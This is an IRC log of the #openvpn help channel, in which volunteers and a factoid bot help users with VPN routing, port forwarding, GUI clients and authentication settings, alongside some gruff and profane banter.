10:50 < stephanj> is there a way to link openvpn into a openvswitch bridge?
10:54 -!- ade_b [~Ade@redhat/adeb] has quit [Read error: Operation timed out]
10:54 <@ecrist> what do you mean?
10:59 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Quit: Konversation terminated!]
11:01 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
11:07 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:20 <@krzee> ya i hella dont understand the question either
11:22 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Quit: Konversation terminated!]
11:24 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
11:26 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Quit: Ping timeout: 221 seconds]
11:26 < debbie10t> i went to openvpn-as to ask for support - guess what they said ?
11:26 < debbie10t> "sorry got to go shopping .. back later"
11:27 < debbie10t> %&*£%)£%(*&£%&%"*()!"$!£)(
11:28 < debbie10t> I should post that on their forum and see how they react to that !
11:29 < debbie10t> "thanks for your money .. can't help now .. going out to spend it !"
11:29 -!- piece3 [~quassel@14.161.15.21] has joined #openvpn
11:30 <@ecrist> debbie10t: IRC is best-effort and operated by volunteers
11:30 <@ecrist> even on their commercial stuff
11:30 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
11:30 <@ecrist> you can submit a regular support ticket
11:31 < pekster> On the "Community Wiki and Tracker" :P
11:32 < debbie10t> yeah right ...
11:32 < debbie10t> I feel like just pasting what they said to me on the forum
11:33 < debbie10t> never mind league tables for providing support .. how about a simple name and shame campaign
11:34 <@ecrist> regardless, this is the wrong place to bitch about corp, though you're among friends.
11:35 < debbie10t> sorry - don't mean to bitch .. just a bit fed up of it
11:35 -!- captiglo [~chatzilla@e180158202.adsl.alicedsl.de] has joined #openvpn
11:36 < captiglo> !welcome
11:36 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
11:36 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
11:36 < captiglo> !goal
11:36 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
11:38 < debbie10t> FWIW- I could destroy their customers with one post .. obviously it would be deleted but it's just not good enough .. you would think if there is any money in it they would try a bit harder - its like they have never been to business school.
11:45 < captiglo> Hello everybody, I hope some1 could help me, I have problems reaching my private LAN behind my OpenVPN server. I have 2 NICs, eth0 is connected to the Internet via public IP with OpenVPN service running on this IP. eth1 is connected to the internal LAN and has a private IP address in the same range as other clients in the internal LAN
11:46 < captiglo> !route
11:46 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for a basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind the server or
11:46 <@vpnHelper> client
11:48 < captiglo> !clientlan
11:48 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
11:48 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
11:49 -!- captiglo_ [~chatzilla@e180156098.adsl.alicedsl.de] has joined #openvpn
11:52 -!- captiglo [~chatzilla@e180158202.adsl.alicedsl.de] has quit [Ping timeout: 245 seconds]
11:53 -!- captiglo_ is now known as captiglo
11:54 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Quit: Konversation terminated!]
11:56 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
11:57 < captiglo> I think I have problem with my routes as I am already able to ping eth1, I just can't reach other clients from the VPN. If I ping these clients from my OpenVPN server directly it works
11:57 < pekster> You want !serverlan then if you have a LAN behind your VPN server
11:58 < pekster> !clientlan is for a LAN behind one of your VPN clients
11:58 < captiglo> ok
11:58 < captiglo> !serverlan
11:58 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
11:58 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
12:00 -!- franks2 [~frank@frank2.net] has quit [Ping timeout: 264 seconds]
12:01 < captiglo> router and openvpnserver are the same in my case, ip forwarding is enabled, route is probably pushed because I get a ping from my intenal LAN NIC eth1
12:02 -!- franks2 [~frank@frank2.net] has joined #openvpn
12:02 < pekster> Then it sounds like a firewall problem on the router or the target system
12:03 < pekster> tcpdump and traceroute can narrow that down
12:04 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Quit: elfixit]
12:05 < captiglo> FW is active on the router, you need an an iptables --list? Or can you help me how to troubleshoot with tcpdump? Never done this before with tcpdump
12:05 < pekster> !tcpdump
12:05 <@vpnHelper> "tcpdump" is (#1) tcpdump is a great troubleshooting tool (Wireshark or the tshark.exe CLI tools for Windows.) To start, try a syntax like `tcpdump -pni ifWhatever` or (#2) You can also add filters to the command, like 'icmp' or 'udp port 1194' and the like. Consult the tcpdump docs for details.
12:06 < pekster> Basic network troubleshooting; I've suggested where your problem is, so play "follow the packet" across each inteterface
12:06 < pekster> Also possibly relevant:
12:06 < pekster> !netfilter
12:06 <@vpnHelper> "netfilter" is Under Linux, use `iptables-save` to show firewall rulesets (add -c to include counters.) Do not use iptables -L as it is incomplete & often lies. #netfilter is more on-topic for detailed help.
12:07 < esde> I had StrongVPN and then AirVPN subscriptions connected to my router as OpenVPN clients. On the router the traffic for LAN clients was pushed through the OpenVPN interface. Since StrongVPN had all ports open for clients. I was able to setup a port forward from a local client to the VPN IP address. I had it setup so that visiting VPSIP:9865 would serve the https from 192.168.1.1. To save money I got rid of the subscription-based vpns and decided to set it u
12:07 < esde> p on a vps of mine. I used  this https://github.com/cwaffles/ezopenvpn/blob/master/ezopenvpn.sh script to setup the OpenVPN Server. The local clients can browse the internet just fine through the openvpn adapter, but I cannot forward ports. The first time I had this issue was with OpenVZ VPS, my provider suggested it /may/ be a limitation of OpenVZ. So I went with a KVM VPS, installed the same way, and I am still unable to forward ports. How could I config
12:07 < esde> ure my openvpn server(s) to have all ports open for clients, the same way StrongVPN does?
12:07 <@vpnHelper> Title: ezopenvpn/ezopenvpn.sh at master · cwaffles/ezopenvpn · GitHub (at github.com)
12:07 < esde> Wow. Sorry for long.
12:08 < pekster> Not really an openvpn problem; open ports and/or set up NAT how you want upstream
12:09 < pekster> In the case of IPv4 NAT + openvpn, once the clinet is connected with an RFC1918 IP, just treat it as "any vanilla LAN setup" of the same type
12:10 < captiglo> How do I "follow the packet"? I mean I already know that it stops at eth1. Should I trace from my client or from the server connected to eth1?
12:10 < esde> Sorry if I made it seem as if I thought this was an OpenVPN problem. I've been working on this since April and everyone has avoided it like the plague. I'm just trying to learn how to configure my server like they had theirs
12:10 < pekster> captiglo: What do you mean "stops at eth1?" -- is it _sending_ the packet to your host and then not getting a reply? Does the reply come in but not get forwarded?
12:10 < pekster> It's up to you to determine which system's firewall is at fault here
12:11 < pekster> "interfaces" don't stop packets -- firewalls do
12:11 < esde> Well then I suck and admit defeat
12:11 < esde> 8 months is a fair bit of effort
12:11 < pekster> esde: What's openvpn got to do with NAT?
12:11 < pekster> Yes, you're _using_ openvpn, but that doesn't change the basic fundamentals of how NAT works
12:11 < esde> I figured someone else has a similar setup and could help me understnad what im doing
12:12 < pekster> I'm really not going to read some setup script from github to fix your problem. If you have $some_public_IPv4 you want forwarded to $downstream_rfc1918_client, set up your OS for traditional NAT redirection
12:12 < captiglo> my LAN IP on eth1 is 192.168.168.245 and I get a reply when I ping, but I don't get a reply from e.g. 192.168.168.10. But if I ping 192.168.168.10 from my openvpn server directly I do get a reply
12:13 < esde> pekster, i think im not explaining it correctly.
12:13 < esde> all traffic is passing through the openvpn adapter properly
12:13 < pekster> captiglo: Yes, you said all that. One of two firewalls is at fault (or possibly screwed up routing on the client, though that's probably not the case)
12:14 < esde> when i go to whatismyip.com it shows my vps ip not my local WAN IP
12:14 < esde> my issue is getting ports open for open internet to reach local services via VPSIP:FORWARDEDPORT
12:15 < DrCode> hi all
12:15 < pekster> esde: Yup, I understand your usecase. Do traditional port forwarding like you would for "any other private LAN"
12:15 < rob0> which might not be possible on
12:15 < rob0> !openvz
12:15 <@vpnHelper> "openvz" is (#1) http://wiki.openvz.org/VPN_via_the_TUN/TAP_device to learn bout openvz specific stuff with regards to openvpn or (#2) It is usually less painful to switch to a host with better virtualization technology, eg KVM or Xen
12:16 < pekster> Perhaps you want to review my DNAT/port-forwarding samples at: https://github.com/QueuingKoala/netfilter-samples . If you need Netfilter-specific help, #netfilter might be more on-topic
12:16 <@vpnHelper> Title: QueuingKoala/netfilter-samples · GitHub (at github.com)
12:16 < esde> rob0, see where I purchased a KVM VPS to adress that issue
12:16 < rob0> oh
12:16 < esde> been working on this for eight months+ now
12:16 < rob0> It's Linux?
12:16 < esde> but as a non-networking pleb, i suck appaently
12:16 < esde> yep
12:16 < esde> ubuntu 12.04
12:17 < DrCode> I have openvpn on openwrt, I want to port forward from vpn to lan pc , is it possible?
12:17 < rob0> see the frozentux iptables tutorial page about DNAT
12:17 < rob0> DrCode, you too
12:18 -!- Tera_ is now known as Tera
12:18 -!- Tera [~tera@ip133-114.seclan.com] has quit [Changing host]
12:18 -!- Tera [~tera@unaffiliated/tera] has joined #openvpn
12:18 < DrCode> rob0, where? , I think I miss it
12:18 < esde> https://www.frozentux.net/iptables-tutorial/iptables-tutorial.html <--that,
12:19 <@vpnHelper> Title: Iptables Tutorial 1.2.2 (at www.frozentux.net)
12:19 < esde> the whole thing
12:19 < esde> ?
12:19 < captiglo> pekster: Could you take a short look at my iptables config? Maybe you see something. It's not a large ruleset and I can paste the relevant parts concerning eth1. I am not too good with iptables, that's why
12:20 < pekster> captiglo: Maybe, but only if you make it easy. `iptables-save -c` (the _entire_ thing) and ideally `ip a` for int/IP reference
12:20 < DrCode> thankyou
12:20 < captiglo> k
12:22 < esde> so i need to read that whole website?
12:26 < esde> alrighty thanks for the replies and links. guess ill go back to idling now
12:27 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
12:27 < rob0> Did I say to read the whole thing? Where did you get that idea?
12:31 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
12:32 < pekster> captiglo: Focus your troubleshooting on the firewall of the target system you're pinging. And verify the ping goes out your LAN interface with something like: `tcpdump -pni eth1 icmp` or similar
12:33 < esde> its all a wall of text to me
12:35 -!- tgreena [~textual@c-76-108-121-33.hsd1.fl.comcast.net] has joined #openvpn
12:37 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Quit: Konversation terminated!]
12:37 < Haseo> Hi guys !
12:37 < Haseo> I have a little question about port forwarding
12:38 < esde> anywho back to idling. i appreciate the links.
12:38 < Haseo> currently I have an openvpn server which create a LAN network in 10.8.0.0
12:39 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
12:39 -!- andi [~andi@unaffiliated/fr00d] has joined #openvpn
12:39 < andi> Hi
12:39 < Haseo> someone know how to redirect let says the 1025 port from eth0 to 10.8.0.3:1025  ?
12:40 < andi> I'm trying to install openvpn on Windows 7. I'm hanging at the TAP-Win32 Adapter driver installation. Everytime I try to install it it's not recognized correctly. Can somebody help me to install this driver correctly?
12:40 < pekster> !learn frozentux as Frozentux Netfilter/iptables tutorial at: https://www.frozentux.net/iptables-tutorial/iptables-tutorial.html
12:40 <@vpnHelper> Joo got it.
12:40 < pekster> !learn frozentux If you want to do port-forwarding (aka DNAT) check out the relevant DNAT section of that tutorial
12:40 <@vpnHelper> (learn [<channel>] <key> as <value>) -- Associates <key> with <value>. <channel> is only necessary if the message isn't sent on the channel itself. The word 'as' is necessary to separate the key from the value. It can be changed to another word via the learnSeparator registry value.
12:40 < pekster> Haseo: ^ see that URL I just taught the bot (it's a popular question today)
12:41 < pekster> rob0: FYI, new factoid for !frozentux ;)
12:41 < Haseo> pekster: ok thanks
12:44 < rob0> pekster++
12:46 < pekster> captiglo: in-channel please for questions unless there's a particular reason to take it to PM. The !serverlan flowchart indicates that your server-side gateway needs a route to get packets destined for the VPN range back to the VPN server on the LAN
12:47 < captiglo> sry
12:47 < pekster> So you need to do one of 1) add that route to the LAN's gateway (and ensure its firewall permits it), 2) change the default gw to your VPN server (assuming it is able to route upstream like you intend) or 3) add the route directly on the LAN client
12:47 < pekster> Packets need to "get back"
12:48 < esde> Could this example be what I'm after? If I just edit in the appropriate IP's? http://unix.stackexchange.com/questions/55791/port-forward-to-vpn-client
12:48 <@vpnHelper> Title: iptables - Port forward to VPN Client? - Unix & Linux Stack Exchange (at unix.stackexchange.com)
12:48 <@krzee> !learn frozentux as If you want to do port-forwarding (aka DNAT) check out the relevant DNAT section of that tutorial
12:48 <@vpnHelper> Joo got it.
12:48 < captiglo> ok got you, thx a lot! Highly appreciated.
12:50 < captiglo> Oh man, basic networking skills seems to lack ;-)
12:50 < pekster> esde: blind SNAT like that is really ugly and you loose the original IP in the process; setting up policy routing is usually far preferred if you're not redirecting all Internet-bound traffic (if you are, SNAT is completely unnecessary)
12:51 < pekster> NAT is a crutch and should be used as little as possible by preferring proper routing techniques unless you have no choice, like with limited public IPv4
12:52 < esde> ok
12:53 < esde> Probably would be easier if I knew the differences and such between NAT SNAT DNAT
12:53 < esde> im completely confused
12:54 < esde> which is really aggravating because I can tell this is a basic concept
12:55 -!- chrisb [~chrisb@li482-205.members.linode.com] has quit [Ping timeout: 272 seconds]
13:03 -!- kubbing [~kubbing@ip-94-113-130-229.net.upcbroadband.cz] has joined #openvpn
13:14 -!- tgreena [~textual@c-76-108-121-33.hsd1.fl.comcast.net] has quit [Read error: Connection reset by peer]
13:22 -!- elfixit [~Icedove@178-83-160-136.dynamic.hispeed.ch] has joined #openvpn
13:31 -!- mjkr [jzhmer@gateway/shell/blinkenshell.org/x-tmbplbhizrntspmy] has quit [Quit: WeeChat 0.4.1]
13:37 < esde> I thought this would work http://www.revsys.com/writings/quicktips/nat.html by replacing eth1 with tun0, but no luck either.
13:37 <@vpnHelper> Title: HOWTO: Linux NAT in Four Steps using iptables (at www.revsys.com)
13:45 < pagios> can openvpn listen on multiple ports?
13:47 -!- elfixit [~Icedove@178-83-160-136.dynamic.hispeed.ch] has quit [Quit: elfixit]
13:48 -!- tgreena [~textual@c-76-108-121-33.hsd1.fl.comcast.net] has joined #openvpn
13:54 -!- klein [~klein@unaffiliated/klein] has quit [Read error: Operation timed out]
14:00 -!- tgreena [~textual@c-76-108-121-33.hsd1.fl.comcast.net] has quit [Quit: Textual IRC Client: http://www.textualapp.com/]
14:01 < pagios> if client1 in office1 connects to openvpn server in office2 via TAP and client2 connects from office1 to the openvpn server in office2 as TAP2, will client1 and client2 be able to communicate "directly" via office1 without passing by office2 since they are TAP devices with the vpn server?
14:03 -!- speed_racer81 [~speed_rac@172.56.14.174] has quit [Ping timeout: 248 seconds]
14:05 -!- randy2009 [~randy2009@82-136-213-63.ip.telfort.nl] has joined #openvpn
14:08 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Quit: Konversation terminated!]
14:08 < randy2009> Hi, i want to setup that i need a client certificate and a username + password. How? this is my server config: http://pastebin.com/74KK65eH
14:10 -!- AsadH is now known as tehSad
14:10 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
14:10 -!- tehSad is now known as AsadH
14:14 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
14:21 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 246 seconds]
14:33 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
14:39 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 250 seconds]
14:41 < pekster> randy2009: Provided you configured the plugin per its documentation, just enable `auth-user-pass` on the clients and the plugin will deal with backend auth
14:47 < randy2009> got this error: Options error: Unrecognized option or missing parameter(s) in openvpn.conf:33: auth-user-pass-verify (2.1.4)
14:47 -!- nutron [~nutron@unaffiliated/nutron] has quit [Remote host closed the connection]
14:47 -!- pdobrogost [~quassel@87.205.145.26] has joined #openvpn
14:48 < pekster> That line is commented in the past you gave
14:48 < pekster> You do not use --auth-user-pass-verify when you offload that support to a plugin
14:49 < randy2009> yup, i uncommented it
14:49 < randy2009> as i thought it would be nessesary  (docs)
14:49 < randy2009> ah ok
14:49 < pdobrogost> Hi! I've been using ovpn config without any problems on Windows and now I try to use it on Kubuntu. After connecting all traffic goes through vpn and I have no connection to Internet. Any ideas?
14:50 < pekster> pdobrogost: You do want to redirect all Internet traffic? If so, follow the !redirect instructions
14:51 < pdobrogost> pekster: No, I don't and it wasn't like this when I was using the _same_ config on Windows...
14:51 < abradley> where is the openvpn config file stored in linux?
14:51 < abradley> I can't get the server to start and I'm reading that my first place to double-check will be the config file
14:51 < pekster> abradley: Anywhere you want it to be. Often /etc/openvpn/, but nothing stops you from putting it elsewhere
14:51 < pdobrogost> I imported it in the connection editor thing...
14:52 < pekster> "imported" ? "Connection editor" ??
14:53 -!- andi [~andi@unaffiliated/fr00d] has quit [Ping timeout: 246 seconds]
14:54 < pdobrogost> pekster: In Kubuntu there's gui for editing network connections and there's an option to import openvpn config file which I used.
14:54 < pekster> !gui
14:54 <@vpnHelper> "gui" is (#1) The only official GUI is the OpenVPN-GUI for Windows (see https://community.openvpn.net/openvpn/wiki/OpenVPN-GUI .) While there are other 3rd party GUIs, they may cause unexpected issues or (#2) If you're having problems starting OpenVPN through an unoffiical GUI, try launching it on the command line; if that works, the GUI is your problem
14:55 < pekster> Don't use the GUI until you have a _working_ setup, and only then consider "migrating" to a GUI frontend
14:56 -!- andi [~andi@unaffiliated/fr00d] has joined #openvpn
14:56 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
14:56 < randy2009> but, looking @ security, how can you define using username/password in combination with certificate, in the client config/
14:57 < pdobrogost> pekster: ok, when starting from command line it's ok. any ideas what's wrong with gui?
14:58 < pekster> randy2009: You can't. Read about --auth-user-pass if you really want to keep plaintext files with credentials lying around, and think carefully if you really want to do that
14:58 < pekster> pdobrogost: No clue; we don't support GUIs besides the Windows one; ask the maintainer of the broken GUI
14:58 < pekster> network-manager in particular is known to have awful support:
14:58 < pekster> !netman
14:58 <@vpnHelper> "netman" is if you are using network manager for linux to configure your vpn, dont! http://openvpn.net/archive/openvpn-users/2008-01/msg00046.html to read the same thing from the author of the openvpn 2 cookbook on the mail list
15:00 < pdobrogost> pekster: this post is from 2008... do you really try to ignore people using gui to setup vpn??
15:01 < pekster> Yes. We do not maintain it
15:01 < pekster> What do you expect? The n-m authors have a shitty product; why do you expect us to maintain something we haven't written?
15:02 < pdobrogost> I see your point but turning back to all people trying to use gui is not the right thing, either.
15:02 < pekster> It frequently doesn't work, they have bad support for config arguments, they re-invent the wheel by having to "manually support" ever single config directive, and it doesn't magically work in many cases. We do *NOT* recommend it. YMMV, but go ask the people who maintain that frontend project if you have problems with it
15:02 < pekster> Then why don't you get involved with the broken project and help them fix it? ;)
15:02 < pekster> Start here: http://www.gnome.org/projects/NetworkManager/
15:02 <@vpnHelper> Title: NetworkManager - Linux Networking made Easy (at www.gnome.org)
15:03 < pekster> Plenty of people like you have come in and compalined about how bad the support is, but rarely do people care enough to get involved to help fix it. Thus it remains mostly broken.
15:04 < pdobrogost> Does KDE have something better?
15:04 < pekster> Not as far as I'm aware, no. IIRC the KDE crew has n-m applet bindings too
15:04 < pekster> So, basically KDE can use the same (mostly broken) backend too ;)
15:05 < pekster> Personally I'd just recommend you put GUI buttons on your launcher menu or icon bar that start the config you want from your init service
15:06 < pdobrogost> "from your init service" - any hints about this?
15:07 < pekster> /etc/init.d/openvpn frequently
15:07 < pekster> This varies by distro, and how to launch just a specific config often varies too. Ask #yourdistro for details
15:08 < pekster> I just dealt with some custom openwrt init yesterday, so f.ex that is `/etc/init.d/openvpn up example` to launch the "example.conf" config. Obviously that will be different for Ubuntu, RHEL, or FrereBSD since they each have unique init systems
15:10 < pdobrogost> "So, basically KDE can use the same (mostly broken) backend too ;)" It seems like this is the case because when I asked on #kubuntu why my openvpn connection doesn't work I was told to install network-manager-openvpn
15:11 < pekster> As I said, it's largely known among the openvpn GPL hackers/supporters (us in this channel and on the ML) that n-m has lots of problems. Most of us don't care enough to volunteer our time to fix it and are happy with alternatives
15:11 < pdobrogost> What's odd is there there already was an option to setup openvpn connection in the gui but I couldn't get it to work until I installed network-manager-openvpn and then it started to "work"
15:11 -!- randy2009 [~randy2009@82-136-213-63.ip.telfort.nl] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <-]
15:12 < pdobrogost> And by alternatives you mean no gui?
15:12 < pekster> That, or a 1-line script and buttons
15:13 < pekster> On an Gentoo box sitting next to me, this is as easy as: `#!/bin/sh <newline> /etc/init.d/openvpn.example start`
15:13 < pekster> Add that to a cute "GUI-friendly" button in my iconbar and I'm done
15:13 < pdobrogost> Ok, then I have non gui question now :) It looks like server pushed dns server but I can't resolve remote addresses. Any idea why?
15:13 < pekster> That's *far* less complicated than digging into what amounts to many (many!) lines of n-m code to "fix" it's brokenness
15:14 < pekster> Not really; seems you managed to loose access to DNS when you did that
15:14 < pdobrogost> When I did what?
15:15 < pekster> That shouldn't happen unless you did a lot you forgot to explain, like redirect your gateway and keep an off-link DNS resolver that is accessible only to ISP customers
15:15 < james41382> pekster: The router broke.
15:19 < pdobrogost> pekster: Have to go now but will have to investigate this more. Thanks for your help and see you later.
15:22 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
15:25 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
15:28 -!- captiglo [~chatzilla@e180156098.adsl.alicedsl.de] has quit [Ping timeout: 245 seconds]
15:29 -!- ben1066 [~quassel@unaffiliated/ben1066] has joined #openvpn
15:29 < ben1066> Should I have to do anything specific to run openvpn over stunnel and stop openvpn tunneling stunnel, breaking it?
15:39 -!- kubbing [~kubbing@ip-94-113-130-229.net.upcbroadband.cz] has quit [Remote host closed the connection]
15:40 -!- kubbing [~kubbing@ip-94-113-130-229.net.upcbroadband.cz] has joined #openvpn
15:44 -!- kubbing [~kubbing@ip-94-113-130-229.net.upcbroadband.cz] has quit [Ping timeout: 264 seconds]
15:51 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
15:57 -!- Denial [Denial@97e0995b.skybroadband.com] has quit []
16:01 -!- abradley [~adam@64-132-116-2.static.twtelecom.net] has quit [Ping timeout: 240 seconds]
16:10 <@EugeneKay> Try that again?
16:16 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
16:23 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
16:26 -!- nutron [~nutron@unaffiliated/nutron] has quit [Read error: Connection reset by peer]
16:32 -!- mattock is now known as mattock_afk
16:35 -!- pdobrogost [~quassel@87.205.145.26] has quit [Remote host closed the connection]
16:35 -!- P4k3 [~P4k3@c-5a34e255.026-8-6b6c7810.cust.bredbandsbolaget.se] has quit [Read error: Operation timed out]
16:37 -!- P4k3 [~P4k3@c-5a34e255.026-8-6b6c7810.cust.bredbandsbolaget.se] has joined #openvpn
16:43 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
16:44 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
16:51 -!- MyMind [~Sembei@unaffiliated/sembei] has quit [Ping timeout: 272 seconds]
16:59 -!- nutron [~nutron@unaffiliated/nutron] has quit [Quit: I must go eat my cheese!]
16:59 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 252 seconds]
17:05 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
17:07 -!- nutron [~nutron@unaffiliated/nutron] has quit [Remote host closed the connection]
17:08 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
17:15 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
17:24 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds]
17:26 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
17:26 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
17:26 -!- mode/#openvpn [+o dazo_afk] by ChanServ
17:26 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
17:26 -!- dazo_afk is now known as dazo
17:31 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 246 seconds]
17:52 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
18:01 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
18:32 -!- speed_racer84 [~speed_rac@172.56.6.199] has joined #openvpn
18:36 -!- xrosnight [~quassel@183.234.77.221] has joined #openvpn
18:51 -!- debbie10t [~ma1com10t@host-92-20-13-251.as13285.net] has left #openvpn []
19:35 -!- hjohnson [~hans@S0106000db917e89a.vc.shawcable.net] has quit [Ping timeout: 245 seconds]
19:47 -!- hjohnson [~hans@S0106000db917e89a.vc.shawcable.net] has joined #openvpn
20:29 -!- keithzg [~quassel@184.70.164.246] has quit [Read error: Connection reset by peer]
20:30 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has quit [Ping timeout: 272 seconds]
20:48 -!- MyMind [~Sembei@unaffiliated/sembei] has joined #openvpn
21:18 <@ecrist> !snapshot
21:18 <@ecrist> !snapshots
21:18 <@vpnHelper> "snapshots" is (#1) weekly dev snapshots are available from ftp://ftp.secure-computing.net/pub/openvpn or (#2) by helping test these features, and reporting back on either of the mailing lists, you can help these features become part of the stable branch
21:20 -!- CoolGurl13 [~CoolGurl1@gateway/tor-sasl/coolgurl13] has joined #openvpn
21:20 < CoolGurl13> Who are these sadists who make software? WHY am I forced to keep copying and pasting the fucking password and username into OpenVPN? Why not REMEMBER it? Not even an option to remember it.
21:21 < pekster> Becuase you're too lazy to ask a fucking intelligent question that we could have fucking giving you a CIVILIZED ansswer for
21:21 < pekster> (see what just happened there? ;)
21:22 < pekster> In addition to regurgitating curses, I can also suggest you read the --auth-user-pass description in the manpage for alternatives
21:22 < pekster> (though do mind the security by keeping passwords in a plaintext file if it's not in an encrypted container)
21:22 < CoolGurl13> What's wrong with a checkbox?
21:23 < pekster> And store it where? What makes you think I don't want to keep the creds in an encrypted container for security?
21:23 <@ecrist> CoolGurl13: you're welcome to submit a patch.
21:23 < pekster> Shoudl the GUI know how to use truecrypt? ecryptfs under Linux?
21:23 < CoolGurl13> I trust my local computer.
21:23 < CoolGurl13> I have it in a text file anyway.
21:24 < CoolGurl13> Having to copy and paste it makes me want to murder somebody.
21:24 <@ecrist> you're welcome to come here
21:24 <@ecrist> give 'er a go
21:24 < CoolGurl13> The more serious problem right now, however, is that in spite of OpenVPN saying "connected" and "assigned IP address blabla" with my just-paid-for VPN, when I go to any page in Firefox, it still uses my real IP address. Even if I tell Firefox to use "system proxy".
21:24 <@ecrist> who's VPN service?
21:25 < CoolGurl13> "Private Internet Access"
21:25 <@ecrist> no idea who the fuck that is
21:25 < CoolGurl13> https://www.privateinternetaccess.com/
21:25 <@vpnHelper> Title: VPN Service, from the Leaders in VPN | Private Internet Access VPN Service (at www.privateinternetaccess.com)
21:25 < CoolGurl13> Not that it should matter which it is.
21:25 <@ecrist> I didn't say I cared.
21:25 < pekster> !provider
21:25 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
21:26 < CoolGurl13> That's why I said it shouldn't matter.
21:26 < pekster> Go whine at them; if you don't control the server there's not much we can do to support it
21:26 < CoolGurl13> Since this is about OpenVPN.
21:26 <@ecrist> openvpn does support a password save option
21:26 <@ecrist> perhaps the man page is where you should look?
21:26 < CoolGurl13> I think it's an "admin thing" in Windows.
21:26 < CoolGurl13> Based on what the log says.
21:26 <@ecrist> you're not the admin on your windows machines?
21:27 <@ecrist> we *really* can't help you then.
21:27 <@ecrist> let's start over before my Captain Morgan moves you along.
21:27 <@ecrist> !goal
21:27 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
21:27 <@ecrist> !logs
21:27 <@vpnHelper> "logs" is (#1) please pastebin your logfiles from both client and server with verb set to 4 (only use 5 if asked) or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it and select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
21:27 <@ecrist> !configs
